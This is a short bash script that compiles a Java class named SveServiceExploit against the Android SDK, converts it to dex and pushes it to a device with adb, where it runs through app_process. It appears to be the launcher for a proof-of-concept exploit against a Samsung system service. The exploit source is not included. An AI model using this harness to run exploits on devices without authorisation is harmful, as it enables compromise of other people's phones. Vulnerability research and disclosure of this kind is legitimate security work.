#!/bin/bash
set -e
SDK="${ANDROID_HOME:-${ANDROID_SDK_ROOT:-$HOME/Android-sdk}}"
JAR="$SDK/platforms/android-36/android.jar"
D8="$SDK/build-tools/$(ls "$SDK/build-tools/" | sort -V | tail -1)/d8"

mkdir -p out
javac -cp "$JAR" -d out SveServiceExploit.java
"$D8" --lib "$JAR" --output poc.zip out/com/samsung/sve/poc/SveServiceExploit.class
unzip -o poc.zip -d dex
adb push dex/classes.dex /data/local/tmp/poc_sve.dex
adb shell 'CLASSPATH=/data/local/tmp/poc_sve.dex app_process /system/bin com.samsung.sve.poc.SveServiceExploit'
